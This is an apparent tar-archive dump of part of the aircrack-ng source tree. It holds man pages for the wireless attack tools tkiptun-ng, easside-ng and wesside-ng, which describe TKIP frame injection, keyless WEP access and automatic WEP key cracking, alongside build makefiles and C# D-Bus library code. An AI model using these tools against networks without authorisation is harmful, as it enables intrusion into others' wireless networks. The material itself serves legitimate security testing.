.B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/tkiptun-ng.80000644000000000000000000000467512660207441016723 0ustar rootroot.TH TKIPTUN-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME tkiptun-ng - inject a few frames into a WPA TKIP network with QoS .SH SYNOPSIS .B tkiptun-ng [options] .SH DESCRIPTION .BI tkiptun-ng is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: "Gone in 900 Seconds, Some Crypto Issues with WPA". .SH OPERATION .PP .TP .I -H, --help Shows the help screen. .TP .B Filter options: .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -t Frame control, "To" DS bit. .TP .I -f Frame control, "From" DS bit. .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -F Choose first matching packet. .TP .I -e Set target SSID. .PP .TP .B Debug options: .TP .I -K Keystream for continuation. .TP .I -y Keystream file for continuation. .TP .I -j Inject FromFS packets. .TP .I -P Pairwise Master key (PMK) for verification or vulnerability testing. .TP .I -p Preshared key (PSK) to calculate PMK with essid. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/Makefile0000644000000000000000000000235312425574203016163 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak MP_FILES = aircrack-ng.1 airdecap-ng.1 ivstools.1 kstats.1 makeivs-ng.1 \ packetforge-ng.1 airdecloak-ng.1 wpaclean.1 besside-ng-crawler.1 SMP_FILES = aireplay-ng.8 airmon-ng.8 airodump-ng.8 besside-ng.8 \ airserv-ng.8 airtun-ng.8 airbase-ng.8 airodump-ng-oui-update.8 \ ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) MP_FILES += airolib-ng.1 endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(experimental) $(EXPERIMENTAL))),true) MP_FILES += buddy-ng.1 SMP_FILES += tkiptun-ng.8 easside-ng.8 wesside-ng.8 endif default: all all: @echo Nothing to do install: uninstall install -d $(DESTDIR)$(mandir) install -d $(DESTDIR)$(smandir) install -m 644 $(MP_FILES) $(DESTDIR)$(mandir) install -m 644 $(SMP_FILES) $(DESTDIR)$(smandir) # Uninstall just calls cleanfiles with all possible switches enabled to # ensure all previously installed manpages are cleaned uninstall: $(MAKE) cleanfiles sqlite=true experimental=true cleanfiles: @-$(foreach CUR_MP,$(MP_FILES), rm -f $(DESTDIR)$(mandir)/$(CUR_MP); echo rm -f $(DESTDIR)$(mandir)/$(CUR_MP); ) @-$(foreach CUR_SMP,$(SMP_FILES), rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); echo rm -f $(DESTDIR)$(smandir)/$(CUR_SMP); ) aircrack-ng-1.2-rc4/manpages/easside-ng.80000644000000000000000000000425312660207441016632 0ustar rootroot.TH EASSIDE-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME easside-ng - an auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .SH SYNOPSIS .B easside-ng .SH DESCRIPTION .BI easside-ng is an auto-magic tool which allows you to communicate via an WEP-encrypted access point (AP) without knowing the WEP key. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme and then setup a TAP interface so that you can communicate with the AP without requiring the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -v Victim BSSID (Optional). .TP .I -m Source MAC address to be used (Optional). .TP .I -i Source IP address to be used on the wireless LAN. Defaults to the decoded network plus \(aq.123\(aq (Optional). .TP .I -r IP address of the AP router. This could be the WAN IP of the AP or an actual router IP depending on the topology. Defaults to the decoded network plus \(aq.1\(aq (Optional). .TP .I -s IP address of Buddy-ng server (Mandatory) .TP .I -f Wireless interface to use (Mandatory) .TP .I -c Lock interface to this channel (Optional). .TP .I -n Determine Internet IP only. .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/wesside-ng.80000644000000000000000000000466012660207441016662 0ustar rootroot.TH WESSIDE-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME wesside-ng - crack a WEP key of an open network without user intervention .SH SYNOPSIS .B wesside-ng .SH DESCRIPTION .BI wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -i Wireless interface name. (Mandatory) .TP .I -n Network IP as in \(aqwho has destination IP (netip) tell source IP (myip)\(aq. Defaults to the source IP on the ARP request which is captured and decrypted. (Optional) .TP .I -m \\(aqwho has destination IP (netip) tell source IP (myip)\\(aq. Defaults to the network.123 on the ARP request captured (Optional). .TP .I -a Source MAC address (Optional) .TP .I -c Do not crack the key. Simply capture the packets until control-C is hit to stop the program! (Optional) .TP .I -p Determines the minimum number of bytes of PRGA which is gathered. Defaults to 128 bytes. (Optional). .TP .I -v Wireless access point MAC address (Optional). .TP .I -t For each number of IVs specified, restart the airecrack-ng PTW engine (Optional). It will restart PTW every IVs. .TP .I -f Allows the highest channel for scanning to be defined. Defaults to channel 11 (Optional). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/common.mak0000644000000000000000000001407412641302422014705 0ustar rootrootPKG_CONFIG ?= pkg-config NEWSSE = true # Newer version of the core can be enabled via SIMDCORE # but should be automatically flipped on thru autodetection SIMDCORE = false # Multibin will compile a seperate binary for each core: original, SSE and SIMD. MULTIBIN = false ifndef TOOL_PREFIX TOOL_PREFIX = endif ifndef OSNAME OSNAME := $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g' -e 's,/,-,g') endif ifndef SQLITE SQLITE = false endif ifndef LIBAIRPCAP LIBAIRPCAP = endif ifeq ($(OSNAME), cygwin) EXE = .exe PIC = SQLITE = false else EXE = ifeq ($(OSNAME), SunOS) PIC = LDFLAGS += -lsocket -lnsl else PIC = -fPIC endif ifndef SQLITE SQLITE = true endif endif COMMON_CFLAGS = ifeq ($(subst TRUE,true,$(filter TRUE true,$(xcode) $(XCODE))),true) COMMON_CFLAGS += -I/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/swift-migrator/sdk/MacOSX.sdk/usr/include/ -D_XCODE -I../.. endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(macport) $(MACPORT))),true) COMMON_CFLAGS += -I/opt/local/include -I../.. LDFLAGS += -L/opt/local/lib endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(sqlite) $(SQLITE))),true) COMMON_CFLAGS += -DHAVE_SQLITE endif ifeq ($(pcre), true) PCRE = true endif ifeq ($(PCRE), true) COMMON_CFLAGS += $(shell $(PKG_CONFIG) --cflags libpcre) -DHAVE_PCRE endif ifeq ($(OSNAME), cygwin) COMMON_CFLAGS += -DCYGWIN endif ifeq ($(OSNAME), Linux) ifneq ($(libnl), false) NL3xFOUND := $(shell $(PKG_CONFIG) --atleast-version=3.2 libnl-3.0 && echo Y) ifneq ($(NL3xFOUND),Y) NL31FOUND := $(shell $(PKG_CONFIG) --exact-version=3.1 libnl-3.1 && echo Y) ifneq ($(NL31FOUND),Y) NL3FOUND := $(shell $(PKG_CONFIG) --atleast-version=3 libnl-3.0 && echo Y) endif ifneq ($(NL3FOUND),Y) NL1FOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-1 && echo Y) endif ifneq ($(NL1FOUND),Y) NLTFOUND := $(shell $(PKG_CONFIG) --atleast-version=1 libnl-tiny && echo Y) endif endif ifeq ($(NL1FOUND),Y) NLLIBNAME = libnl-1 COMMON_CFLAGS += -DCONFIG_LIBNL endif ifeq ($(NLTFOUND),Y) NLLIBNAME = libnl-tiny COMMON_CFLAGS += -DCONFIG_LIBNL -DCONFIG_LIBNL20 endif ifeq ($(NL3xFOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl-3 NLLIBNAME = libnl-3.0 endif ifeq ($(NL3FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl NLLIBNAME = libnl-3.0 endif # nl-3.1 has a broken libnl-gnl-3.1.pc file # as show by pkg-config --debug --libs --cflags --exact-version=3.1 libnl-genl-3.1;echo $? ifeq ($(NL31FOUND),Y) COMMON_CFLAGS += -DCONFIG_LIBNL30 -DCONFIG_LIBNL LIBS += -lnl-genl NLLIBNAME = libnl-3.1 endif NLLIBNAME ?= $(error Cannot find development files for any supported version of libnl. install either libnl1 or libnl3.) LIBS += $(shell $(PKG_CONFIG) --libs $(NLLIBNAME)) COMMON_CFLAGS +=$(shell $(PKG_CONFIG) --cflags $(NLLIBNAME)) COMMON_CFLAGS := $(COMMON_CFLAGS) endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include endif ifneq ($(origin CC),environment) ifeq ($(OSNAME), FreeBSD) CC = $(TOOL_PREFIX)cc CXX = $(TOOL_PREFIX)c++ else CC = $(TOOL_PREFIX)gcc CXX = $(TOOL_PREFIX)g++ endif endif # This is for autodetection of processor features in the new crypto cores. -include $(AC_ROOT)/common.cfg RANLIB ?= $(TOOL_PREFIX)ranlib ifneq ($(origin AR),environment) AR = $(TOOL_PREFIX)ar endif REVISION = $(shell $(AC_ROOT)/evalrev $(AC_ROOT)) REVFLAGS ?= -D_REVISION=$(REVISION) OPTFLAGS = -D_FILE_OFFSET_BITS=64 CFLAGS ?= -g -W -Wall -O3 ifeq ($(subst TRUE,true,$(filter TRUE true,$(icc) $(ICC))),true) ICCMODE = Y CC = icc CXX = icpc AR = xiar CFLAGS += -no-prec-div endif # If we're building multibin make sure simd is disabled ifeq ($(subst TRUE,true,$(filter TRUE true,$(multibin) $(MULTIBIN))),true) SIMDCORE = false endif ifeq ($(HAS_NEON), Y) CFLAGS += -mfpu=neon endif ifeq ($(subst FALSE,false,$(filter FALSE false,$(newsse) $(NEWSSE))),false) CFLAGS += -DOLD_SSE_CORE=1 else ifeq ($(AVX2FLAG), Y) ifeq ($(ICCMODE), Y) CFLAGS += -march=core-avx2 -DJOHN_AVX2 else CFLAGS += -mavx2 -DJOHN_AVX2 endif else ifeq ($(AVX1FLAG), Y) ifeq ($(ICCMODE), Y) CFLAGS += -march=corei7-avx -DJOHN_AVX else CFLAGS += -mavx -DJOHN_AVX endif else ifeq ($(SSEFLAG), Y) ifeq ($(ICCMODE), Y) CFLAGS += -march=corei7 else CFLAGS += -msse2 endif endif endif # AVX1FLAG endif # AVX2FLAG endif # NEWSSE ifeq ($(INTEL_ASM), Y) ASMFLAG = -masm=intel endif # This will enable -D_REENTRANT if compatible so we have thread-safe functions available to us via -pthread. ifeq ($(PTHREAD), Y) CFLAGS += -pthread endif CXXFLAGS = $(CFLAGS) $(ASMFLAG) -fdata-sections -ffunction-sections CFLAGS += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS) prefix = /usr/local bindir = $(prefix)/bin sbindir = $(prefix)/sbin mandir = $(prefix)/share/man/man1 smandir = $(prefix)/share/man/man8 datadir = $(prefix)/share docdir = $(datadir)/doc/aircrack-ng libdir = $(prefix)/lib etcdir = $(prefix)/etc/aircrack-ng ifneq ($(ICCMODE), Y) GCC_OVER41 = $(shell expr 41 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) GCC_OVER45 = $(shell expr 45 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) GCC_OVER49 = $(shell expr 49 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) ifeq ($(GCC_OVER41), 0) GCC_OVER41 = $(shell expr 4.1 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER45), 0) GCC_OVER45 = $(shell expr 4.5 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER49), 0) GCC_OVER49 = $(shell expr 4.9 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) endif ifeq ($(GCC_OVER49), 0) ifeq ($(GCC_OVER41), 1) COMMON_CFLAGS += -fstack-protector endif endif ifeq ($(GCC_OVER49), 1) COMMON_CFLAGS += -fstack-protector-strong endif ifeq ($(GCC_OVER45), 1) CFLAGS += -Wno-unused-but-set-variable -Wno-array-bounds endif endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(duma) $(DUMA))),true) LIBS += -lduma endif aircrack-ng-1.2-rc4/lib/0000755000000000000000000000000012660222375013474 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/0000755000000000000000000000000012660222375014754 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/MonoExample/0000755000000000000000000000000012660222375017200 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify.sln0000644000000000000000000000351711600013506023173 0ustar rootroot Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NewStationNotify", "NewStationNotify\NewStationNotify.csproj", "{82B5448F-10AA-4BE0-9C20-DEA6441C9146}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NDesk-dbus", "NDesk-dbus\NDesk-dbus.csproj", "{223B034E-A2F0-4BC7-875A-F9B5972C0670}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WirelessPanda", "..\WirelessPanda\WirelessPanda.csproj", "{F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x86 = Debug|x86 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Debug|x86.ActiveCfg = Debug|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Debug|x86.Build.0 = Debug|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Release|x86.ActiveCfg = Release|Any CPU {223B034E-A2F0-4BC7-875A-F9B5972C0670}.Release|x86.Build.0 = Release|Any CPU {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Debug|x86.ActiveCfg = Debug|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Debug|x86.Build.0 = Debug|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Release|x86.ActiveCfg = Release|x86 {82B5448F-10AA-4BE0-9C20-DEA6441C9146}.Release|x86.Build.0 = Release|x86 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(MonoDevelopProperties) = preSolution StartupItem = NewStationNotify\NewStationNotify.csproj EndGlobalSection EndGlobal aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/0000755000000000000000000000000012660222376021140 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/PendingCall.cs0000644000000000000000000000207111600013506023631 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Threading; namespace NDesk.DBus { class PendingCall { Connection conn; Message reply = null; object lockObj = new object (); public PendingCall (Connection conn) { this.conn = conn; } int waiters = 0; public Message Reply { get { if (Thread.CurrentThread == conn.mainThread) { /* while (reply == null) conn.Iterate (); */ while (reply == null) conn.HandleMessage (conn.ReadMessage ()); conn.DispatchSignals (); } else { lock (lockObj) { Interlocked.Increment (ref waiters); while (reply == null) Monitor.Wait (lockObj); Interlocked.Decrement (ref waiters); } } return reply; } set { lock (lockObj) { reply = value; if (waiters > 0) Monitor.PulseAll (lockObj); if (Completed != null) Completed (reply); } } } public event Action Completed; } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Transport.cs0000644000000000000000000000223011600013506023442 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; namespace NDesk.DBus.Transports { abstract class Transport { public static Transport Create (AddressEntry entry) { switch (entry.Method) { case "tcp": { Transport transport = new SocketTransport (); transport.Open (entry); return transport; } #if !PORTABLE case "unix": { //Transport transport = new UnixMonoTransport (); Transport transport = new UnixNativeTransport (); transport.Open (entry); return transport; } #endif default: throw new NotSupportedException ("Transport method \"" + entry.Method + "\" not supported"); } } protected Connection connection; public Connection Connection { get { return connection; } set { connection = value; } } //TODO: design this properly //this is just a temporary solution public Stream Stream; public long SocketHandle; public abstract void Open (AddressEntry entry); public abstract string AuthString (); public abstract void WriteCred (); } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/UnixNativeTransport.cs0000644000000000000000000001635011600013506025465 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details //We send BSD-style credentials on all platforms //Doesn't seem to break Linux (but is redundant there) //This may turn out to be a bad idea #define HAVE_CMSGCRED using System; using System.IO; using System.Text; using System.Runtime.InteropServices; using Mono.Unix; using Mono.Unix.Native; namespace NDesk.DBus.Transports { class UnixSocket { public const short AF_UNIX = 1; //TODO: SOCK_STREAM is 2 on Solaris public const short SOCK_STREAM = 1; //TODO: some of these are provided by libsocket instead of libc on Solaris [DllImport ("libc", SetLastError=true)] protected static extern int socket (int domain, int type, int protocol); [DllImport ("libc", SetLastError=true)] protected static extern int connect (int sockfd, byte[] serv_addr, uint addrlen); [DllImport ("libc", SetLastError=true)] protected static extern int bind (int sockfd, byte[] my_addr, uint addrlen); [DllImport ("libc", SetLastError=true)] protected static extern int listen (int sockfd, int backlog); //TODO: this prototype is probably wrong, fix it [DllImport ("libc", SetLastError=true)] protected static extern int accept (int sockfd, byte[] addr, ref uint addrlen); //TODO: confirm and make use of these functions [DllImport ("libc", SetLastError=true)] protected static extern int getsockopt (int s, int optname, IntPtr optval, ref uint optlen); [DllImport ("libc", SetLastError=true)] protected static extern int setsockopt (int s, int optname, IntPtr optval, uint optlen); [DllImport ("libc", SetLastError=true)] public static extern int recvmsg (int s, IntPtr msg, int flags); [DllImport ("libc", SetLastError=true)] public static extern int sendmsg (int s, IntPtr msg, int flags); public int Handle; public UnixSocket (int handle) { this.Handle = handle; } public UnixSocket () { //TODO: don't hard-code PF_UNIX and SOCK_STREAM or SocketType.Stream //AddressFamily family, SocketType type, ProtocolType proto int r = socket (AF_UNIX, SOCK_STREAM, 0); //we should get the Exception from UnixMarshal and throw it here for a better stack trace, but the relevant API seems to be private UnixMarshal.ThrowExceptionForLastErrorIf (r); Handle = r; } protected bool connected = false; //TODO: consider memory management public void Connect (byte[] remote_end) { int r = connect (Handle, remote_end, (uint)remote_end.Length); //we should get the Exception from UnixMarshal and throw it here for a better stack trace, but the relevant API seems to be private UnixMarshal.ThrowExceptionForLastErrorIf (r); connected = true; } //assigns a name to the socket public void Bind (byte[] local_end) { int r = bind (Handle, local_end, (uint)local_end.Length); UnixMarshal.ThrowExceptionForLastErrorIf (r); } public void Listen (int backlog) { int r = listen (Handle, backlog); UnixMarshal.ThrowExceptionForLastErrorIf (r); } public UnixSocket Accept () { byte[] addr = new byte[110]; uint addrlen = (uint)addr.Length; int r = accept (Handle, addr, ref addrlen); UnixMarshal.ThrowExceptionForLastErrorIf (r); //TODO: use the returned addr //TODO: fix probable memory leak here //string str = Encoding.Default.GetString (addr, 0, (int)addrlen); return new UnixSocket (r); } } struct IOVector { public IntPtr Base; public int Length; } class UnixNativeTransport : UnixTransport { protected UnixSocket socket; public override void Open (string path, bool @abstract) { if (String.IsNullOrEmpty (path)) throw new ArgumentException ("path"); if (@abstract) socket = OpenAbstractUnix (path); else socket = OpenUnix (path); //socket.Blocking = true; SocketHandle = (long)socket.Handle; Stream = new UnixStream ((int)socket.Handle); } //send peer credentials null byte //different platforms do this in different ways #if HAVE_CMSGCRED unsafe void WriteBsdCred () { //null credentials byte byte buf = 0; IOVector iov = new IOVector (); iov.Base = (IntPtr)(&buf); iov.Length = 1; msghdr msg = new msghdr (); msg.msg_iov = &iov; msg.msg_iovlen = 1; cmsg cm = new cmsg (); msg.msg_control = (IntPtr)(&cm); msg.msg_controllen = (uint)sizeof (cmsg); cm.hdr.cmsg_len = (uint)sizeof (cmsg); cm.hdr.cmsg_level = 0xffff; //SOL_SOCKET cm.hdr.cmsg_type = 0x03; //SCM_CREDS int written = UnixSocket.sendmsg (socket.Handle, (IntPtr)(&msg), 0); UnixMarshal.ThrowExceptionForLastErrorIf (written); if (written != 1) throw new Exception ("Failed to write credentials"); } #endif public override void WriteCred () { #if HAVE_CMSGCRED try { WriteBsdCred (); } catch { if (Protocol.Verbose) Console.Error.WriteLine ("Warning: WriteBsdCred() failed; falling back to ordinary WriteCred()"); //null credentials byte byte buf = 0; Stream.WriteByte (buf); } #else //null credentials byte byte buf = 0; Stream.WriteByte (buf); #endif } protected UnixSocket OpenAbstractUnix (string path) { byte[] p = Encoding.Default.GetBytes (path); byte[] sa = new byte[2 + 1 + p.Length]; //we use BitConverter to stay endian-safe byte[] afData = BitConverter.GetBytes (UnixSocket.AF_UNIX); sa[0] = afData[0]; sa[1] = afData[1]; sa[2] = 0; //null prefix for abstract domain socket addresses, see unix(7) for (int i = 0 ; i != p.Length ; i++) sa[3 + i] = p[i]; UnixSocket client = new UnixSocket (); client.Connect (sa); return client; } public UnixSocket OpenUnix (string path) { byte[] p = Encoding.Default.GetBytes (path); byte[] sa = new byte[2 + p.Length + 1]; //we use BitConverter to stay endian-safe byte[] afData = BitConverter.GetBytes (UnixSocket.AF_UNIX); sa[0] = afData[0]; sa[1] = afData[1]; for (int i = 0 ; i != p.Length ; i++) sa[2 + i] = p[i]; sa[2 + p.Length] = 0; //null suffix for domain socket addresses, see unix(7) UnixSocket client = new UnixSocket (); client.Connect (sa); return client; } } #if HAVE_CMSGCRED /* public struct msg { public IntPtr msg_next; public long msg_type; public ushort msg_ts; short msg_spot; IntPtr label; } */ unsafe struct msghdr { public IntPtr msg_name; //optional address public uint msg_namelen; //size of address public IOVector *msg_iov; //scatter/gather array public int msg_iovlen; //# elements in msg_iov public IntPtr msg_control; //ancillary data, see below public uint msg_controllen; //ancillary data buffer len public int msg_flags; //flags on received message } struct cmsghdr { public uint cmsg_len; //data byte count, including header public int cmsg_level; //originating protocol public int cmsg_type; //protocol-specific type } unsafe struct cmsgcred { public int cmcred_pid; //PID of sending process public uint cmcred_uid; //real UID of sending process public uint cmcred_euid; //effective UID of sending process public uint cmcred_gid; //real GID of sending process public short cmcred_ngroups; //number or groups public fixed uint cmcred_groups[16]; //groups, CMGROUP_MAX } struct cmsg { public cmsghdr hdr; public cmsgcred cred; } #endif } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/MessageFilter.cs0000644000000000000000000000255611600013506024213 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; namespace NDesk.DBus { class MessageFilter { //this should probably be made to use HeaderField or similar //this class is not generalized yet public static string MessageTypeToString (MessageType mtype) { switch (mtype) { case MessageType.MethodCall: return "method_call"; case MessageType.MethodReturn: return "method_return"; case MessageType.Error: return "error"; case MessageType.Signal: return "signal"; case MessageType.Invalid: return "invalid"; default: throw new Exception ("Bad MessageType: " + mtype); } } public static MessageType StringToMessageType (string text) { switch (text) { case "method_call": return MessageType.MethodCall; case "method_return": return MessageType.MethodReturn; case "error": return MessageType.Error; case "signal": return MessageType.Signal; case "invalid": return MessageType.Invalid; default: throw new Exception ("Bad MessageType: " + text); } } //TODO: remove this -- left here for the benefit of the monitor tool for now public static string CreateMatchRule (MessageType mtype) { return "type='" + MessageTypeToString (mtype) + "'"; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/SocketTransport.cs0000644000000000000000000000240211600013506024614 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; using System.Net; using System.Net.Sockets; namespace NDesk.DBus.Transports { class SocketTransport : Transport { protected Socket socket; public override void Open (AddressEntry entry) { string host, portStr; int port; if (!entry.Properties.TryGetValue ("host", out host)) throw new Exception ("No host specified"); if (!entry.Properties.TryGetValue ("port", out portStr)) throw new Exception ("No port specified"); if (!Int32.TryParse (portStr, out port)) throw new Exception ("Invalid port: \"" + port + "\""); Open (host, port); } public void Open (string host, int port) { //TODO: use Socket directly TcpClient client = new TcpClient (host, port); Stream = client.GetStream (); } public void Open (Socket socket) { this.socket = socket; socket.Blocking = true; SocketHandle = (long)socket.Handle; //Stream = new UnixStream ((int)socket.Handle); Stream = new NetworkStream (socket); } public override void WriteCred () { Stream.WriteByte (0); } public override string AuthString () { return String.Empty; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Address.cs0000644000000000000000000000667311600013506023052 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; namespace NDesk.DBus { public class BadAddressException : Exception { public BadAddressException (string reason) : base (reason) {} } class AddressEntry { public string Method; public IDictionary Properties = new Dictionary (); public override string ToString () { StringBuilder sb = new StringBuilder (); sb.Append (Method); sb.Append (':'); bool first = true; foreach (KeyValuePair prop in Properties) { if (first) first = false; else sb.Append (','); sb.Append (prop.Key); sb.Append ('='); sb.Append (Escape (prop.Value)); } return sb.ToString (); } static string Escape (string str) { if (str == null) return String.Empty; StringBuilder sb = new StringBuilder (); int len = str.Length; for (int i = 0 ; i != len ; i++) { char c = str[i]; //everything other than the optionally escaped chars _must_ be escaped if (Char.IsLetterOrDigit (c) || c == '-' || c == '_' || c == '/' || c == '\\' || c == '.') sb.Append (c); else sb.Append (Uri.HexEscape (c)); } return sb.ToString (); } static string Unescape (string str) { if (str == null) return String.Empty; StringBuilder sb = new StringBuilder (); int len = str.Length; int i = 0; while (i != len) { if (Uri.IsHexEncoding (str, i)) sb.Append (Uri.HexUnescape (str, ref i)); else sb.Append (str[i++]); } return sb.ToString (); } public static AddressEntry Parse (string s) { AddressEntry entry = new AddressEntry (); string[] parts = s.Split (':'); if (parts.Length < 2) throw new BadAddressException ("No colon found"); if (parts.Length > 2) throw new BadAddressException ("Too many 